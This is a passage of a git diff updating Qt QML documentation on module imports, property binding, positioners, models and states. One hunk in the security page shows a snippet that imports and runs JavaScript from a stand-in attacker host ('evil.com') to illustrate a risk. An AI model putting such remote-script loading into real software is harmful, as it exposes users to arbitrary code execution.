\o A component defined in a QML file located on a remote server
-\o A \l{QDeclarativeExtensionPlugin}{QML C++ plugin} library (unless the plugin is installed in the same directory)
+\o A \l{QDeclarativeExtensionPlugin}{QML extension plugin} library (unless the plugin is installed in the same directory)
\o A JavaScript file (note this must be imported using \l {#namespaces}{named imports})
\endlist
@@ -52,7 +52,7 @@ An \c import statement includes the module name, and possibly a version number.
This can be seen in the snippet commonly found at the top of QML files:
\qml
- import QtQuick 1.0
+import QtQuick 1.0
\endqml
This imports version 1.0 of the "QtQuick" module into the global namespace. (The QML
@@ -61,12 +61,12 @@ are not included in the global namespace by default.)
The \c Qt module is an \e installed module; it is found in the
\l{The QML import path}{import path}. There are two types of QML modules:
-location modules (defined by a URL) and installed modules (defined by a URI).
+located modules (defined by a URL) and installed modules (defined by a URI).
-\section1 Location Modules
+\section1 Located Modules
-Location modules can reside on the local filesystem or a network resource,
+Located modules can reside on the local filesystem or a network resource,
and are referred to by a quoted location URL that specifies the filesystem
or network URL. They allow any directory with QML content to be imported
as a module, whether the directory is on the local filesystem or a remote
@@ -86,8 +86,9 @@ directory using a relative or absolute path, like this:
\code
MyQMLProject
|- MyComponents
- |- Slider.qml
|- CheckBox.qml
+ |- Slider.qml
+ |- Window.qml
|- Main
|- application.qml
\endcode
@@ -96,8 +97,10 @@ MyQMLProject
\code
import "../MyComponents"
-Slider { ... }
-CheckBox { ... }
+Window {
+ Slider { ... }
+ CheckBox { ... }
+}
\endcode
\endtable
@@ -106,23 +109,51 @@ Similarly, if the directory resided on a network source, it could
be imported like this:
\code
- import "https://qml.nokia.com/qml/qmlcomponents"
- import "https://qml.nokia.com/qml/qmlcomponents" 1.0
+ import "http://www.my-server.com/MyQMLProject/MyComponents"
+ import "http://www.my-server.com/MyQMLProject/MyComponents" 1.0
+\endcode
+
+A located module can also be imported as a network resource if it has a
+\l{Writing a qmldir file}{qmldir file} in the directory that specifies the QML files
+to be made available by the module. For example, if the \c MyComponents directory
+contained a \c qmldir file defined like this:
+
+\code
+Slider 1.0 Slider.qml
+CheckBox 1.0 CheckBox.qml
+Window 1.0 Window.qml
\endcode
-Remote location modules must have a \l{Writing a qmldir file}{qmldir file} in the
-same directory to specify which QML files should be made available. See the
-\l {#qmldirexample}{example} below. The qmldir file is optional for modules on
-the local filesystem.
+If the \c MyComponents directory was then hosted as a network resource, it could
+be imported as a module, like this:
+
+\code
+import "http://the-server-name.com/MyQMLProject/MyComponents"
+
+Window {
+ Slider { ... }
+ CheckBox { ... }
+}
+\endcode
+
+with an optional "1.0" version specification. Notice the import would fail if
+a later version was used, as the \c qmldir file specifies that these elements
+are only available in the 1.0 version.
+Note that modules imported as a network resource allow only access to components
+defined in QML files; components defined by C++ \l{QDeclarativeExtensionPlugin}{QML extension plugins}
+are not available.
\section1 Installed modules
+Installed modules are modules that are made available through the QML import path,
+as defined by QDeclarativeEngine::importPathList(), or modules defined within
+C++ application code. An installed module is referred to by a URI, which allows
+the module to be imported from QML code without specifying a complete filesystem
+path or network resource URL.
-Installed modules are modules that are installed on the
-local filesystem within the QML import path, or modules defined in C++
-application code. When importing an installed module, an un-quoted URI is
+When importing an installed module, an un-quoted URI is
used, with a mandatory version number:
\code
@@ -130,15 +161,23 @@ used, with a mandatory version number:
import com.nokia.qml.mymodule 1.0
\endcode
-Installed modules that are installed into the import path or created
-as a \l{QDeclarativeExtensionPlugin}{QML C++ plugin} must define a
-\l{Writing a qmldir file}{qmldir file}.
+When a module is imported, the QML engine searches the QML import path for a matching
+module. The root directory of the module must contain a
+\l{Writing a qmldir file}{qmldir file} that defines the QML files
+and/or C++ QML extension plugins that are made available to the module.
+Modules that are installed into the import path translate the URI into
+directory names. For example, the qmldir file of the module \c com.nokia.qml.mymodule
+must be located in the subpath \c com/nokia/qml/mymodule/qmldir somewhere in the
+QML import path. In addition it is possible to store different versions of the
+module in subdirectories of its own. For example, a version 2.1 of the
+module could be located under \c com/nokia/qml/mymodule.2/qmldir or
+\c com/nokia/qml/mymodule.2.1/qmldir. The engine will automatically load
+the module which matches best.
-\section2 The QML import path
-
-The QML engine will search the import path for a requested installed module.
-The default import path includes:
+The import path, as returned by QDeclarativeEngine::importPathList(), defines the default
+locations to be searched by the QML engine for a matching module. By default, this list
+contains:
\list
\o The directory of the current file
@@ -146,30 +185,80 @@ The default import path includes:
\o Paths specified by the \c QML_IMPORT_PATH environment variable
\endlist
-The import path can be queried using QDeclarativeEngine::importPathList() and modified using QDeclarativeEngine::addImportPath().
+Additional import paths can be added through QDeclarativeEngine::addImportPath() or the
+\c QML_IMPORT_PATH environment variable. When running the \l {QML Viewer}, you
+can also use the \c -I option to add an import path.
+
+
+\section2 Creating installed modules
+
+As an example, suppose the \c MyQMLProject directory in the \l{Located Modules}{previous example}
+was located on the local filesystem at \c C:\qml\projects\MyQMLProject. The \c MyComponents
+subdirectory could be made available as an installed module by adding a
+\l{Writing a qmldir file}{qmldir file} to the \c MyComponents directory that looked like this:
+
+\code
+Slider 1.0 Slider.qml
+CheckBox 1.0 CheckBox.qml
+Window 1.0 Window.qml
+\endcode
+
+Providing the path \c C:\qml is added to the QML import path using any of the methods listed previously,
+a QML file located anywhere on the local filesystem can then import the module as shown below,
+without referring to the module's absolute filesystem location:
+
+\qml
+import projects.MyQMLProject.MyComponents 1.0
+
+Window {
+ Slider { ... }
+ CheckBox { ... }
+}
+\endqml
+
+Installed modules are also accessible as a network resource. If the \c C:\qml directory was hosted
+as \c http://www.some-server.com/qml and this URL was added to the QML import path, the above
+QML code would work just the same.
-When running the \l {QML Viewer}, use the \c -I option to add paths to the import path.
+Note that modules imported as a network resource allow only access to components
+defined in QML files; components defined by C++ \l{QDeclarativeExtensionPlugin}{QML extension plugins}
+are not available.
\section2 Creating installed modules in C++
-C++ applications can dynamically define installed modules using
-qmlRegisterType().
+C++ applications can define installed modules directly within the application using qmlRegisterType().
+For example, the \l {Tutorial: Writing QML extensions with C++}{Writing QML extensions with C++ tutorial}
+defines a C++ class named \c PieChart and makes this type available to QML by calling qmlRegisterType():
+
+\qml
+qmlRegisterType<PieChart>("Charts", 1, 0, "PieChart");
+\endqml
-For \l{QDeclarativeExtensionPlugin}{QML C++ plugins}, the
-module URI is automatically passed to QDeclarativeExtensionPlugin::registerTypes().
-The QDeclarativeExtensionPlugin documentation shows how to use this URI
-to call qmlRegisterType() to enable the plugin library to be built as
-an installed module. Once the plugin is built and installed, the module is importable
-in QML, like this:
+This allows the application's QML files to use the \c PieChart type by importing the declared
+\c Charts module:
+
+\qml
+import Charts 1.0
+\endqml
+
+For \l{QDeclarativeExtensionPlugin}{QML plugins}, the
+module URI is automatically passed to QDeclarativeExtensionPlugin::registerTypes(). This method
+can be reimplemented by the developer to register the necessary types for the module. Below is the
+\c registerTypes() implementation from the \l{declarative/cppextensions/plugins}{QML plugins}
+example:
+
+\snippet examples/declarative/cppextensions/plugins/plugin.cpp plugin
+
+Once the plugin is built and installed, and includes a \l{Writing a qmldir file}{qmldir file},
+the module can be imported from QML, like this:
\code
import com.nokia.TimeExample 1.0
\endcode
-A \l{QDeclarativeExtensionPlugin}{QML C++ plugin} also requires a
-\l{Writing a qmldir file}{qmldir file} to make it available to the
-QML engine.
+Unlike QML types defined by QML files, a QML type defined in a C++ extension plugin cannot be loaded by
+a module that is imported as a network resource.
@@ -224,7 +313,7 @@ Unlike ordinary modules, multiple scripts cannot be imported into the same names
A \c qmldir file is a metadata file for a module that maps all type names in
the module to versioned QML files. It is required for installed modules, and
-location modules that are loaded from a network source.
+located modules that are loaded from a network source.
It is defined by a plain text file named "qmldir" that contains one or more lines of the form:
@@ -274,37 +363,6 @@ containing the plugin file. By default the engine searches for the plugin librar
file. The plugin search path can be queried with QDeclarativeEngine::pluginPathList() and modified using QDeclarativeEngine::addPluginPath(). When running the \l {QML Viewer}, use the \c -P option to add paths to the plugin search path.
-\target qmldirexample
-\section2 Example
-
-If the components in the \c MyComponents directory from the
-\l{Location Modules}{earlier example} were to be made available as a network resource,
-the directory would need to contain a \c qmldir file similar to this:
-
-\code
-ComponentA 1.0 ComponentA.qml
-ComponentB 1.0 ComponentB.qml
-\endcode
-
-The \c MyComponents directory could then be imported as a module using:
-
-\code
-import "http://the-server-name.com/MyComponents"
-
-Slider { ... }
-CheckBox { ... }
-\endcode
-
-with an optional "1.0" version specification. Notice the import fails if
-a later version is used, as the \c qmldir file specifies that these elements
-are only available in the 1.0 version.
-
-
-For examples of \c qmldir files for plugins, see the
-\l {declarative/cppextensions/plugins}{Plugins} example and
-\l {Tutorial: Writing QML extensions with C++}.
-
-
\section1 Debugging
The \c QML_IMPORT_TRACE environment variable can be useful for debugging
diff --git a/doc/src/declarative/positioners.qdoc b/doc/src/declarative/positioners.qdoc
index 387f390..5493d4a 100644
--- a/doc/src/declarative/positioners.qdoc
+++ b/doc/src/declarative/positioners.qdoc
@@ -53,9 +53,9 @@ graphical elements:
\section2 Column
-\beginfloatright
-\image qml-column.png
-\endfloat
+\div{float-right}
+\inlineimage qml-column.png
+\enddiv
\l Column items are used to vertically arrange items. The following example
uses a Column item to arrange three \l Rectangle items in an area defined
@@ -70,9 +70,9 @@ must be added to a parent Rectangle, if desired.
\section2 Row
-\beginfloatright
-\image qml-row.png
-\endfloat
+\div{float-right}
+\inlineimage qml-row.png
+\enddiv
\l Row items are used to horizontally arrange items. The following example
uses a Row item to arrange three rounded \l Rectangle items in an area defined
@@ -87,9 +87,9 @@ left around the edges of the horizontally centered Row item.
\section2 Grid
-\beginfloatright
-\image qml-grid-spacing.png
-\endfloat
+\div{float-right}
+\inlineimage qml-grid-spacing.png
+\enddiv
\l Grid items are used to place items in a grid or table arrangement.
The following example uses a Grid item to place four \l Rectangle items
@@ -108,10 +108,10 @@ at the appropriate places in the Grid definition.
\section2 Flow
-\beginfloatright
-\image qml-flow-text1.png
-\image qml-flow-text2.png
-\endfloat
+\div{float-right}
+\inlineimage qml-flow-text1.png
+\inlineimage qml-flow-text2.png
+\enddiv
\l Flow items are used to place items like words on a page, with rows or
columns of non-overlapping items.
@@ -137,9 +137,9 @@ control of spacing between items and between lines of items.
\section1 Repeaters
-\beginfloatright
-\image qml-repeater-grid-index.png
-\endfloat
+\div{float-right}
+\inlineimage qml-repeater-grid-index.png
+\enddiv
Repeaters create items from a template for use with positioners, using data
from a model. Combining repeaters and positioners is an easy way to lay out
diff --git a/doc/src/declarative/propertybinding.qdoc b/doc/src/declarative/propertybinding.qdoc
index 2fa95d4..379a4ec 100644
--- a/doc/src/declarative/propertybinding.qdoc
+++ b/doc/src/declarative/propertybinding.qdoc
@@ -95,44 +95,109 @@ Rectangle {
\endcode
-\section1 Effects of Property Assignment in JavaScript
+\section1 Binding Properties from JavaScript
-Assigning a property value from JavaScript does \e not create a property binding.
-For example:
+When working with both QML and JavaScript, it is important to differentiate between
+\l {Property Binding} syntax in QML and simple \e {property assignment} in JavaScript. Take
+the example below, which uses property binding to ensure the item's \c height is always twice
+its \c width:
+
+\qml
+Item {
+ width: 100
+ height: width * 2
+}
+\endqml
+
+On the other hand, take the following JavaScript code snippet, which \e assigns, rather
+than \e binds, the value of the \c height property:
\code
-Rectangle {
+Item {
+ width: 100
Component.onCompleted: {
- width = otherItem.width;
+ height = width * 2 // if width changes later, height is not updated!
}
}
\endcode
-Instead of creating a property binding, this simply sets the \c width of the \l Rectangle
-to the value of \c other.width at the time the JavaScript code is invoked. See
-\l {Property Assignment vs Property Binding} for more details.
+Instead of creating a property binding, this simply sets the \c height property to the correct
+value \e {at the time that} the JavaScript code is invoked. Unlike the first example, the
+\c height will never change if \c width changes.
+
+The \e {property : value} syntax for property binding is QML-specific and cannot be used in
+JavaScript. Instead, to bind a property from JavaScript, assign a \e function to the property
+that returns the required value. The following code correctly sets the property binding
+created in the first example, but creates the binding in JavaScript rather than QML:
+
+\qml
+Item {
+ width: 100
+
+ Component.onCompleted: {
+ height = (function() { return width * 2 })
+ }
+}
+\endqml
+
+
+\section2 Using \c this to create a binding
+
+When creating a property binding from JavaScript, QML allows the use of the \c this keyword to
+refer to the object to which the property binding will be assigned. This allows one to
+explicitly refer to a property within an object when there may be ambiguity about the exact
+property that should be used for the binding.
-Also note that assigning a value to a property that is currently bound will remove the binding.
-A property can only have one value at a time, and if any code explicitly sets
-this value, the binding is removed. The \l Rectangle in the example below will have
-a width of 13, regardless of the \c otherItem's width.
+For example, the \c Component.onCompleted handler below is defined within the scope of the
+\l Item, and references to \c width within this scope would refer to the \l Item's width, rather
+than that of the \l Rectangle. To bind the \l Rectangle's \c height to its own \c width, the
+function needs to explicitly refer to \c this.width rather than just \c width. Otherwise, the
+height of the \l Rectangle would be bound to the width of the \l Item and not the \l Rectangle.
+
+\qml
+Item {
+ width: 500
+ height: 500
+
+ Rectangle {
+ id: rect
+ width: 100
+ color: "yellow"
+ }
+
+ Component.onCompleted: {
+ rect.height = (function() { return this.width * 2 })
+ }
+}
+\endqml
+
+(In this case, the function could also have referred to \c rect.width rather than \c this.width.)
+
+Note that the value of \c this is not defined outside of its use in property binding.
+See \l {QML JavaScript Restrictions} for details.
+
+
+\section2 Effects of property assignment
+
+Note that assigning a value to a property that is currently bound will remove the binding.
+A property can only have one value at a time, and if any code explicitly sets this value, the
+binding is removed. In the following example, although \c width has been bound to \c height,
+the binding is removed by the JavaScript code that assigns \c width to 50:
\code
-Rectangle {
- width: otherItem.width
+Item {
+ width: height * 2
+ height: 100
Component.onCompleted: {
- width = 13;
+ width = 50;
}
}
\endcode
-There is no way to create a property binding directly from imperative JavaScript code,
-although it is possible to set up a \l Binding object (shown below).
-
-\section1 Binding Element
+\section1 The Binding Element
The implicit binding syntax shown previously is easy to use and works perfectly for most uses
of bindings. In some advanced cases, it is necessary to create bindings explicitly using the
diff --git a/doc/src/declarative/qdeclarativeintro.qdoc b/doc/src/declarative/qdeclarativeintro.qdoc
index 61241c5..02692de 100644
--- a/doc/src/declarative/qdeclarativeintro.qdoc
+++ b/doc/src/declarative/qdeclarativeintro.qdoc
@@ -27,7 +27,7 @@
/*!
\page qdeclarativeintroduction.html
-\title Introduction to the QML language
+\title Introduction to the QML Language
\tableofcontents
@@ -45,7 +45,7 @@ technologies like HTML and CSS, but it's not required.
QML looks like this:
-\code
+\qml
import QtQuick 1.0
Rectangle {
@@ -58,7 +58,7 @@ Rectangle {
anchors.centerIn: parent
}
}
-\endcode
+\endqml
Here we create two objects, a \l Rectangle object and its child
\l Image object. Objects are specified by their type, followed by a pair of
@@ -71,18 +71,18 @@ value \c "pics/logo.png". The property and its value are separated by a colon.
Properties can be specified one-per-line:
-\code
+\qml
Rectangle {
width: 100
height: 100
}
-\endcode
+\endqml
or you can put multiple properties on a single line:
-\code
+\qml
Rectangle { width: 100; height: 100 }
-\endcode
+\endqml
When multiple property/value pairs are specified on a single line, they
must be separated by a semicolon.
@@ -92,7 +92,6 @@ standard \l {QML Elements}. Without this import statement, the \l Rectangle
and \l Image elements would not be available.
-
\section1 Comments
Commenting in QML is similar to JavaScript.
@@ -110,19 +109,19 @@ your QML files.
Comments can also be used to prevent the execution of code, which is
sometimes useful for tracking down problems.
-\code
+\qml
Text {
text: "Hello world!"
//opacity: 0.5
}
-\endcode
+\endqml
In the above example, the \l Text object will have normal opacity, since the
line opacity: 0.5 has been turned into a comment.
-\section1 Object identifiers
+\section1 Object Identifiers
Each object can be given a special \e id value that allows the object to be identified
and referred to by other objects.
@@ -161,19 +160,19 @@ characters other than letters, numbers and underscores.
JavaScript expressions can be used to assign property values. For example:
-\code
+\qml
Item {
width: 100 * 3
height: 50 + 22
}
-\endcode
+\endqml
These expressions can include references to other objects and properties, in which case
a \l{Property Binding}{binding} is established: when the value of the expression changes,
the property to which the expression is assigned is automatically updated to the
new value. For example:
-\code
+\qml
Item {
width: 300
height: 300
@@ -184,7 +183,7 @@ Item {
color: "yellow"
}
}
-\endcode
+\endqml
Here, the \l Rectangle object's \c width property is set relative to the width
of its parent. Whenever the parent's width changes, the width of the \l Rectangle is
@@ -195,19 +194,19 @@ automatically updated.
\section1 Properties
\target intro-properties
-\section2 Basic property types
+\section2 Basic Property Types
QML supports properties of many types (see \l{QML Basic Types}). The basic types include \c int,
\c real, \c bool, \c string and \c color.
-\code
+\qml
Item {
x: 10.5 // a 'real' property
state: "details" // a 'string' property
focus: true // a 'bool' property
- ...
+ // ...
}
-\endcode
+\endqml
QML properties are what is known as \e type-safe. That is, they only allow you to assign a value that
matches the property type. For example, the \c x property of item is a real, and if you try to assign
@@ -223,7 +222,7 @@ Note that with the exception of \l {Attached Properties}, properties always begi
letter.
-\section2 Property change notifications
+\section2 Property Change Notifications
When a property changes value, it can send a signal to notify others of this change.
@@ -249,52 +248,52 @@ Signal handlers are explained further \l {Signal Handlers}{below}.
List properties look like this:
-\code
+\qml
Item {
children: [
Image {},
Text {}
]
}
-\endcode
+\endqml
The list is enclosed in square brackets, with a comma separating the
list elements. In cases where you are only assigning a single item to a
list, you can omit the square brackets:
-\code
+\qml
Image {
children: Rectangle {}
}
-\endcode
+\endqml
Items in the list can be accessed by index. See the \l{list}{list type} documentation
for more details about list properties and their available operations.
-\section2 Default properties
+\section2 Default Properties
Each object type can specify one of its list or object properties as its default property.
If a property has been declared as the default property, the property tag can be omitted.
For example this code:
-\code
+\qml
State {
changes: [
PropertyChanges {},
PropertyChanges {}
]
}
-\endcode
+\endqml
can be simplified to:
-\code
+\qml
State {
PropertyChanges {}
PropertyChanges {}
}
-\endcode
+\endqml
because \c changes is the default property of the \c State type.
@@ -331,7 +330,7 @@ element that attaches \e property.
For example, the \l ListView element attaches the \e ListView.isCurrentItem property
to each delegate it creates:
-\code
+\qml
Component {
id: myDelegate
Text {
@@ -339,21 +338,24 @@ Component {
color: ListView.isCurrentItem ? "red" : "blue"
}
}
+\endqml
+
+\qml
ListView {
delegate: myDelegate
}
-\endcode
+\endqml
Another example of attached properties is the \l Keys element which
attaches properties for handling key presses to
any visual Item, for example:
-\code
+\qml
Item {
focus: true
Keys.onSelectPressed: console.log("Selected")
}
-\endcode
+\endqml
\section1 Signal Handlers
@@ -362,7 +364,7 @@ example, the \l MouseArea element has an \l {MouseArea::}{onClicked} handler tha
be used to respond to a mouse click. Below, we use this handler to print a
message whenever the mouse is clicked:
-\code
+\qml
Item {
width: 100; height: 100
@@ -373,7 +375,7 @@ Item {
}
}
}
-\endcode
+\endqml
All signal handlers begin with \e "on".
@@ -382,7 +384,7 @@ the MouseArea \l{MouseArea::}{onPressed} signal handler has a \c mouse parameter
that contains information about the mouse press. This parameter can be referred to in
the JavaScript code, as below:
-\code
+\qml
MouseArea {
acceptedButtons: Qt.LeftButton | Qt.RightButton
onPressed: {
@@ -390,7 +392,5 @@ MouseArea {
console.log("Right mouse button pressed")
}
}
-\endcode
-
-
+\endqml
*/
diff --git a/doc/src/declarative/qdeclarativemodels.qdoc b/doc/src/declarative/qdeclarativemodels.qdoc
index 0b4b67d..9409eaf 100644
--- a/doc/src/declarative/qdeclarativemodels.qdoc
+++ b/doc/src/declarative/qdeclarativemodels.qdoc
@@ -161,7 +161,7 @@ while QAbstractItemModel provides a more flexible solution for more complex
models.
-\section2 QStringList
+\section2 QStringList-based model
A model may be a simple QStringList, which provides the contents of the list via the \e modelData role.
@@ -182,7 +182,7 @@ have changed. If the QStringList changes, it will be necessary to reset
the model by calling QDeclarativeContext::setContextProperty() again.
-\section2 QList<QObject*>
+\section2 QObjectList-based model
A list of QObject* values can also be used as a model. A QList<QObject*> provides
the properties of the objects in the list as roles.
@@ -281,7 +281,7 @@ with models of type QAbstractItemModel:
\endlist
-\section2 Exposing C++ data models to QML
+\section2 Exposing C++ Data Models to QML
The above examples use QDeclarativeContext::setContextProperty() to set
model values directly in QML components. An alternative to this is to
@@ -313,7 +313,9 @@ MyModel {
id: myModel
ListElement { someProperty: "some value" }
}
+\endqml
+\qml
ListView {
width: 200; height: 250
model: myModel
@@ -504,9 +506,9 @@ a Web browser.
\l ListView shows a classic list of items with horizontal or vertical placing
of items.
-\beginfloatright
+\div{float-right}
\inlineimage qml-listview-snippet.png
-\endfloat
+\enddiv
The following example shows a minimal ListView displaying a sequence of
numbers (using an \l{QML Data Models#An Integer}{integer as a model}).
diff --git a/doc/src/declarative/qdeclarativesecurity.qdoc b/doc/src/declarative/qdeclarativesecurity.qdoc
index 8aa031d..482043c 100644
--- a/doc/src/declarative/qdeclarativesecurity.qdoc
+++ b/doc/src/declarative/qdeclarativesecurity.qdoc
@@ -41,8 +41,12 @@ arbitrary downloaded JavaScript, nor instantiate arbitrary downloaded QML elemen
For example, this QML content:
\qml
+import QtQuick 1.0
import "http://evil.com/evil.js" as Evil
-... Evil.doEvil() ...
+
+Component {
+ onLoaded: Evil.doEvil()
+}
\endqml
is equivalent to downloading "http://evil.com/evil.exe" and running it. The JavaScript execution
diff --git a/doc/src/declarative/qdeclarativestates.qdoc b/doc/src/declarative/qdeclarativestates.qdoc
index c6160c5..6d5aebc 100644
--- a/doc/src/declarative/qdeclarativestates.qdoc
+++ b/doc/src/declarative/qdeclarativestates.qdoc
@@ -71,7 +71,7 @@ of an item, set the \l {Item::}{state} property to the name of the state.
Non-Item objects can use states through the StateGroup element.
-\section1 Creating states
+\section1 Creating States
To create a state, add a \l State object to the item's \l {Item::}{states} property,
which holds a list of states for that item.
@@ -91,7 +91,7 @@ objects, not just the object that owns the state. For example:
\qml
Rectangle {
- ...
+ // ...
states: [
State {
name: "moved"
@@ -106,14 +106,7 @@ As a convenience, if an item only has one state, its \l {Item::}{states}
property can be defined as a single \l State, without the square-brace list
syntax:
-\qml
-Item {
- ...
- states: State {
- ...
- }
-}
-\endqml
+\snippet doc/src/snippets/declarative/propertyanimation.qml single state
A \l State is not limited to performing modifications on property values. It
can also:
@@ -130,7 +123,7 @@ demonstrates how to declare a basic set of states and apply animated
transitions between them.
-\section1 The default state
+\section1 The Default State
Of course, the \l Rectangle in the example above could have simply been moved
by setting its position to (50, 50) in the mouse area's \c onClicked handler.
@@ -146,7 +139,7 @@ like this:
\qml
Rectangle {
- ...
+ // ...
MouseArea {
id: mouseArea
@@ -154,8 +147,9 @@ Rectangle {
}
states: State {
- name: "moved"; when: mouseArea.pressed
- ...
+ name: "moved"
+ when: mouseArea.pressed
+ // ...
}
}
\endqml
@@ -171,7 +165,7 @@ using the \l {State::}{when} property, the above code could be changed to:
\qml
Rectangle {
- ...
+ // ...
MouseArea {
anchors.fill: parent
@@ -181,7 +175,7 @@ Rectangle {
states: State {
name: "moved"
- ...
+ // ...
}
}
\endqml
@@ -191,7 +185,7 @@ as it provides a simpler (and a better, more declarative) solution than
assigning the state from signal handlers.
-\section1 Animating state changes
+\section1 Animating State Changes
State changes can be easily animated through \l {Transitions}{transitions}. A
@@ -203,12 +197,14 @@ movement of the \l Rectangle would be animated:
\qml
Rectangle {
- ...
+ // ...
- MouseArea { ... }
+ MouseArea {
+ // Handle mouse events...
+ }
states: [
- ...
+ // States are defined here...
]
transitions: [
@@ -224,5 +220,4 @@ during a state change within this item, their values should be animated over 500
milliseconds.
See the \l Transitions documentation for more information.
-
*/
diff --git a/doc/src/declarative/qml-intro.qdoc b/doc/src/declarative/qml-intro.qdoc
index 563dc3b..3f3e0e4 100644
--- a/doc/src/declarative/qml-intro.qdoc
+++ b/doc/src/declarative/qml-intro.qdoc
@@ -61,7 +61,7 @@ The basic syntax of an \l{QML Elements}{element} is
\qml
SomeElement {
id: myObject
- ... some other things here ...
+ // ... some other things here ...
}
\endqml
@@ -247,13 +247,17 @@ referencing these properties from another object we use the property
directly, instead of saying:
\qml
-myRectangle.anchors.top // Wrong
+Item {
+ anchors.bottom: myRectangle.anchors.top // Wrong
+}
\endqml
we use
\qml
-myRectangle.top // Correct
+Item {
+ anchors.bottom: myRectangle.top // Correct
+}
\endqml
@@ -275,11 +279,7 @@ about the z-axis by 90 degrees in a negative direction, anti-clockwise.
Rotation of text was also suggested. It could also be useful to scale the
text. We can do both. The \l {Item::transform}{transform} property is a
\e list of \l Transform elements, so using the list syntax
-
-\qml
-myList: [ listElement1, listElement2, ... } ]
-\endqml
-
+\c{myList: [ listElement1, listElement2, ... } ]}
we can produce a list of transformations.
The text will be rotated by 45 degrees anti-clockwise and scaled
diff --git a/doc/src/declarative/qmlinuse.qdoc b/doc/src/declarative/qmlinuse.qdoc
index 3ab1634..7380ef5 100644
--- a/doc/src/declarative/qmlinuse.qdoc
+++ b/doc/src/declarative/qmlinuse.qdoc
@@ -72,7 +72,7 @@
</div>
<!-- tech domains start -->
<div class="item group">
- <hr>
+ <hr />
<div class="secondary">
<div class="box">
<!-- video box -->
@@ -100,7 +100,7 @@
</div>
<!-- next -->
<div class="item group">
- <hr>
+ <hr />
<div class="secondary">
<div class="box">
<!-- video box -->
@@ -140,7 +140,7 @@
</div>
<!-- next -->
<div class="item group">
- <hr>
+ <hr />
<div class="secondary">
<div class="box">
<!-- video box -->
@@ -185,7 +185,7 @@
</div>
<!-- next -->
<div class="item group">
- <hr>
+ <hr />
<div class="secondary">
<div class="box">
<!-- video box -->
@@ -198,7 +198,7 @@
<!-- video box end -->
</div>
<div class="primary">
- <h2><a name="interactElement">QML Interaction Elements</h2></a>
+ <h2><a name="interactElement">QML Interaction Elements</a></h2>
<p>
These elements define basic interactions such as touch movements and focus management.</p>
<b>Elements:</b>
@@ -216,7 +216,7 @@
</div>
<!-- next -->
<div class="item group">
- <hr>
+ <hr />
<div class="secondary">
<div class="box">
<!-- video box -->
@@ -243,7 +243,7 @@
</div>
<!-- next -->
<div class="item group">
- <hr>
+ <hr />
<div class="secondary">
<div class="box">
<!-- video box -->
@@ -276,7 +276,7 @@
</div>
<!-- next -->
<div class="item group">
- <hr>
+ <hr />
<div class="secondary">
<div class="box">
<!-- video box -->
@@ -307,7 +307,7 @@
</div>
<!-- next -->
<div class="item group">
- <hr>
+ <hr />
<div class="secondary">
<div class="box">
<!-- video box -->
@@ -334,7 +334,7 @@
</div>
<!-- next -->
<div class="item group">
- <hr>
+ <hr />
<div class="secondary">
<div class="box">
<!-- video box -->
@@ -372,7 +372,7 @@
</div>
<!-- next -->
<div class="item group">
- <hr>
+ <hr />
<div class="secondary">
<div class="box">
<!-- video box -->
@@ -410,7 +410,7 @@
</div>
<!-- next -->
<div class="item group">
- <hr>
+ <hr />
<div class="secondary">
<div class="box">
<!-- video box -->
@@ -441,7 +441,7 @@
</div>
<!-- next -->
<div class="item group">
- <hr>
+ <hr />
<div class="secondary">
<div class="box">
<!-- video box -->
@@ -468,7 +468,7 @@
</div>
<!-- next -->
<div class="item group">
- <hr>
+ <hr />
<div class="secondary">
<div class="box">
<!-- video box -->
diff --git a/doc/src/declarative/qmlviewer.qdoc b/doc/src/declarative/qmlviewer.qdoc
index cfb762c..585b402 100644
--- a/doc/src/declarative/qmlviewer.qdoc
+++ b/doc/src/declarative/qmlviewer.qdoc
@@ -192,6 +192,9 @@ Rectangle {
}
\endqml
+\note Since Qt Quick 1.1 this information is accessible outside of the QML Viewer,
+through the \c active property of the \l {QML:Qt::application}{Qt.application} object.
+
\row
\o \c runtime.orientation
diff --git a/doc/src/declarative/qtdeclarative.qdoc b/doc/src/declarative/qtdeclarative.qdoc
index 05dac52..4a6f6a9 100644
--- a/doc/src/declarative/qtdeclarative.qdoc
+++ b/doc/src/declarative/qtdeclarative.qdoc
@@ -56,7 +56,7 @@
\macro QML_DECLARE_TYPE()
\relates QDeclarativeEngine
- Equivalent to \c Q_DECLARE_METATYPE(TYPE) and \c Q_DECLARE_METATYPE(QDeclarativeListProperty<TYPE>)
+ Equivalent to \c Q_DECLARE_METATYPE(TYPE *) and \c Q_DECLARE_METATYPE(QDeclarativeListProperty<TYPE>)
#include <QtDeclarative> to use this macro.
*/
@@ -85,6 +85,21 @@
Returns the QML type id.
+ There are two forms of this template function:
+
+ \code
+ template<typename T>
+ int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName);
+
+ template<typename T, int metaObjectRevision>
+ int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName);
+ \endcode
+
+ The former is the standard form which registers the type \e T as a new type.
+ The latter allows a particular revision of a class to be registered in
+ a specified version (see \l {QML Type Versioning}).
+
+
For example, this registers a C++ class \c MySliderItem as a QML type
named \c Slider for version 1.0 of a \l{QML Modules}{module} called
"com.mycompany.qmlcomponents":
@@ -103,7 +118,9 @@
\qml
import com.mycompany.qmlcomponents 1.0
- Slider { ... }
+ Slider {
+ // ...
+ }
\endqml
Note that it's perfectly reasonable for a library to register types to older versions
diff --git a/doc/src/declarative/qtprogrammers.qdoc b/doc/src/declarative/qtprogrammers.qdoc
index 7895c9f..b7d09a1 100644
--- a/doc/src/declarative/qtprogrammers.qdoc
+++ b/doc/src/declarative/qtprogrammers.qdoc
@@ -103,7 +103,7 @@ So, to implement your reusable button, you would simply build a QML component.
Parent widgets each provide a generic way to interface to one or more arbitrary other widgets.
A QTabWidget provides an interface to multiple "pages", one of which is visible at any time,
-and a mechanism for selecting among them (the QTabBar). A QScollArea provides scrollbars around
+and a mechanism for selecting among them (the QTabBar). A QScrollArea provides scrollbars around
a widget that is otherwise too large to fit in available space.
Nearly all such components can be created directly in QML. Only a few cases
diff --git a/doc/src/declarative/tutorial.qdoc b/doc/src/declarative/tutorial.qdoc
index b9ae913..1ee5e61 100644
--- a/doc/src/declarative/tutorial.qdoc
+++ b/doc/src/declarative/tutorial.qdoc
@@ -94,7 +94,7 @@ We add a \l Text element as a child of the root Rectangle element that displays
The \c y property is used to position the text vertically at 30 pixels from the top of its parent.
The \c anchors.horizontalCenter property refers to the horizontal center of an element.
-In this case, we specify that our text element should be horizontally centered in the \e page element (see \l{anchor-layout}{Anchor-based Layout}).
